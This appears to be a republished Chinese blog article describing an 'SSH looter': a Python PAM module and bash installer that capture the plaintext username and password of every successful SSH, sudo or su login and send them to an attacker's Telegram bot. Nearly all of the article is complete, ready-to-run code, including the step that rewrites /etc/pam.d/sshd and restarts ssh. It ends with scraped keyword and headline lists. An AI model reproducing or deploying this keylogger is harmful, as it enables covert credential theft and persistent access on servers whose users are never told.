窃取SSH凭证的方法说是什么
发表于:2025-11-10 作者:千家信息网编辑
千家信息网最后更新 2025年11月10日,这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。我将为大家介绍另外一种获取ssh密码的方法。这种
千家信息网最后更新 2025年11月10日窃取SSH凭证的方法说是什么
这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
我将为大家介绍另外一种获取ssh密码的方法。这种方法是我在ChokePoint找到的 ,他向我们展示了如何使用python创建PAM模块记录失败的尝试,现在我要做的就是更改登录密码的地方。原脚本中当登录失败时,使用的auth_log函数。
if not check_pw(user, resp.resp): auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp)) return pamh.PAM_AUTH_ERRreturn pamh.PAM_SUCCESS而在我的脚本中,当登录成功时使用的是我定义的函数sendMessage
if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS该函数主要用于发送用户,密码以及连接的IP,以下是完整代码:
import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = 'BOT-API-KEY' userId = 'USERID' url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg) r = requests.get(url)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:')) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS我还创建了一个bash脚本用于自动化的安装这个ssh keylogger,其中安装了所有的依赖关系,并在/etc/pam.d/sshd上配置了该PAM模块
#!/bin/bash# Install dependencies to create a PAM module using python (Except for python-pip)apt-get install python-pam libpam-python python-pip# Install dependencies pythonpip install requests# Check if exist the entrie on pam, for this moduleif ! grep -Fq "looter.py" /etc/pam.d/sshd;then sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshdficode='import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = "API-KEY" userId = "USER-ID" data = {"chat_id":userId,"text":msg} url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey) r = requests.post(url,json=data)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:")) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS'mkdir -p /lib/security/echo "$code" > /lib/security/looter.py/etc/init.d/ssh restart现在,只要有人成功登录了服务器,你就会收到以下的登录信息。
它也适用于sudo和su,只需添加以下代码
auth requisite pam_python.so looter.py
到下面两个文件中
/etc/pam.d/sudo/etc/pam.d/su
或者你也可以直接git clone该项目并按照README.md上的说明进行操作
git clone https://github.com/mthbernardes/sshLooter.git
关于窃取SSH凭证的方法说是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
登录
方法
函数
密码
脚本
凭证
说是
成功
代码
内容
文章
更多
模块
知识
篇文章
不错
两个
信息
只需
地方
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
et200sp服务器模块放哪里
软件开发师岗位分析
一个数据库允许有几个表
网络安全法的价值在于实施
深圳mes系统软件开发
泉州万伟网络技术
工业互联网平台骆驼科技
祺祺网络安全吗
大连市网络安全周
汕尾通讯软件开发费用是多少
服务器进不了游戏怎么回事
cron设置定时备份数据库
软件开发 重要决策
网络安全防诈骗网购手抄报
app软件开发价格实惠
以太网中采用什么网络技术
嵌入式软件开发设计流程
服务器怎么添加dns
数据库故障类型
网络安全的不法行为
数据库连接例子
sql数据库脚本
云服务器全部数据怎么删除
追加软件开发内容
金华漫酷网络技术有限公司
共享服务器还原
江西戴尔服务器售价
不同功能的服务器可以共用吗
OPAC书目型数据库吗
华为存储服务器管理口是哪个